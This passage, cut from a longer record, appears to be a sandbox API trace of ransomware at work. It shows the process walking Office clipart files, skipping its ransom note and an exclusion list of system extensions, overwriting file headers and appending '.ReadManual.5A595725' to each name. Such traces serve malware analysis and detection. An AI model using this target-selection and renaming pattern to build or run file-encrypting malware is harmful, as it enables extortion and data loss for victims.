dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.860] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4716) returned 1 [0266.860] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x126c, lpName=0x0) returned 0x184 [0266.860] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.860] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.860] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.862] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.862] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x126c) returned 0x2f0000 [0266.862] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.862] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38753104443) returned 1 [0266.862] CloseHandle (hObject=0x184) returned 1 [0266.862] SetSecurityInfo () returned 0x57 [0266.862] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.863] CloseHandle (hObject=0x194) returned 1 [0266.863] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4146, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0136865.WMF", cAlternateFileName="")) returned 1 [0266.863] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0136865.WMF" | out: lpString1="J0136865.WMF") returned="J0136865.WMF" [0266.863] lstrcmpiW (lpString1="J0136865.WMF", lpString2="RecoveryManual.html") returned -1 [0266.863] StrStrIW (lpFirst="J0136865.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.863] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.863] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.863] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.863] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.863] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.863] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.863] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.863] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.863] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.863] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.863] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.863] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.863] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.863] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.863] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" [0266.863] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF.ReadManual.5A595725" [0266.863] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF.ReadManual.5A595725") returned 87 [0266.863] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38753299014) returned 1 [0266.864] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf")) returned 0x20 [0266.866] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.866] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=16710) returned 1 [0266.866] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4146, lpName=0x0) returned 0x184 [0266.866] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.867] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.867] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.869] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.870] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4146) returned 0x2f0000 [0266.870] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.870] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38753870515) returned 1 [0266.870] CloseHandle (hObject=0x184) returned 1 [0266.870] SetSecurityInfo () returned 0x57 [0266.870] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.870] CloseHandle (hObject=0x194) returned 1 [0266.870] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55eb4900, ftCreationTime.dwHighDateTime=0x1bdbf6f, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55eb4900, ftLastWriteTime.dwHighDateTime=0x1bdbf6f, nFileSizeHigh=0x0, nFileSizeLow=0x9d27, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0144773.JPG", cAlternateFileName="")) returned 1 [0266.870] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0144773.JPG" | out: lpString1="J0144773.JPG") returned="J0144773.JPG" [0266.870] lstrcmpiW (lpString1="J0144773.JPG", lpString2="RecoveryManual.html") returned -1 [0266.870] StrStrIW (lpFirst="J0144773.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.870] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0266.870] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0266.870] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0266.870] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0266.871] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0266.871] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0266.871] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0266.871] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0266.871] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0266.871] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0266.871] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0266.871] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0266.871] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0266.871] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0266.871] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" [0266.871] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG.ReadManual.5A595725" [0266.871] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG.ReadManual.5A595725") returned 87 [0266.871] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38753970323) returned 1 [0266.871] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg")) returned 0x20 [0266.872] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.872] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=40231) returned 1 [0266.872] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9d27, lpName=0x0) returned 0x184 [0266.872] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.873] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.873] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.875] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.875] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9d27) returned 0x2f0000 [0266.876] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.876] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38754499822) returned 1 [0266.876] CloseHandle (hObject=0x184) returned 1 [0266.876] SetSecurityInfo () returned 0x57 [0266.876] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.876] CloseHandle (hObject=0x194) returned 1 [0266.877] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8379, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0145168.JPG", cAlternateFileName="")) returned 1 [0266.877] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0145168.JPG" | out: lpString1="J0145168.JPG") returned="J0145168.JPG" [0266.877] lstrcmpiW (lpString1="J0145168.JPG", lpString2="RecoveryManual.html") returned -1 [0266.877] StrStrIW (lpFirst="J0145168.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.877] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0266.877] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0266.877] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0266.877] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0266.877] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0266.877] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0266.877] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0266.877] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0266.877] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0266.877] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0266.877] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0266.877] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0266.877] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0266.877] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0266.877] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" [0266.877] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG.ReadManual.5A595725" [0266.877] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG.ReadManual.5A595725") returned 87 [0266.877] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38754598478) returned 1 [0266.877] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg")) returned 0x20 [0266.877] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.878] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=33657) returned 1 [0266.878] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8379, lpName=0x0) returned 0x184 [0266.878] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.879] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.879] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.880] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.881] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8379) returned 0x2f0000 [0266.882] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.882] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38755074563) returned 1 [0266.882] CloseHandle (hObject=0x184) returned 1 [0266.882] SetSecurityInfo () returned 0x57 [0266.882] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.882] CloseHandle (hObject=0x194) returned 1 [0266.882] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf0c1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0145212.JPG", cAlternateFileName="")) returned 1 [0266.882] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0145212.JPG" | out: lpString1="J0145212.JPG") returned="J0145212.JPG" [0266.882] lstrcmpiW (lpString1="J0145212.JPG", lpString2="RecoveryManual.html") returned -1 [0266.882] StrStrIW (lpFirst="J0145212.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.882] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0266.882] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0266.883] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0266.883] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0266.883] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0266.883] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0266.883] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0266.883] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0266.883] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0266.883] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0266.883] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0266.883] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0266.883] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0266.883] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0266.883] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" [0266.883] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG.ReadManual.5A595725" [0266.883] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG.ReadManual.5A595725") returned 87 [0266.883] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38755173182) returned 1 [0266.883] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg")) returned 0x20 [0266.884] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.884] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=61633) returned 1 [0266.884] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf0c1, lpName=0x0) returned 0x184 [0266.884] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.885] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.885] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.887] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.887] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf0c1) returned 0x2f0000 [0266.888] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.889] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38755729609) returned 1 [0266.889] CloseHandle (hObject=0x184) returned 1 [0266.889] SetSecurityInfo () returned 0x57 [0266.889] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.889] CloseHandle (hObject=0x194) returned 1 [0266.889] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc056, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0145272.JPG", cAlternateFileName="")) returned 1 [0266.889] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0145272.JPG" | out: lpString1="J0145272.JPG") returned="J0145272.JPG" [0266.889] lstrcmpiW (lpString1="J0145272.JPG", lpString2="RecoveryManual.html") returned -1 [0266.889] StrStrIW (lpFirst="J0145272.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.889] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0266.889] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0266.889] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0266.889] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0266.889] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0266.889] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0266.889] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0266.889] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0266.889] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0266.889] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0266.889] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0266.889] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0266.889] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0266.889] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0266.889] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" [0266.889] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG.ReadManual.5A595725" [0266.889] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG.ReadManual.5A595725") returned 87 [0266.890] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38755828589) returned 1 [0266.890] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg")) returned 0x20 [0266.890] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.890] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=49238) returned 1 [0266.890] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc056, lpName=0x0) returned 0x184 [0266.890] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.891] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.891] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.893] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.893] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc056) returned 0x2f0000 [0266.895] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.895] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38756362662) returned 1 [0266.895] CloseHandle (hObject=0x184) returned 1 [0266.895] SetSecurityInfo () returned 0x57 [0266.895] LocalFree 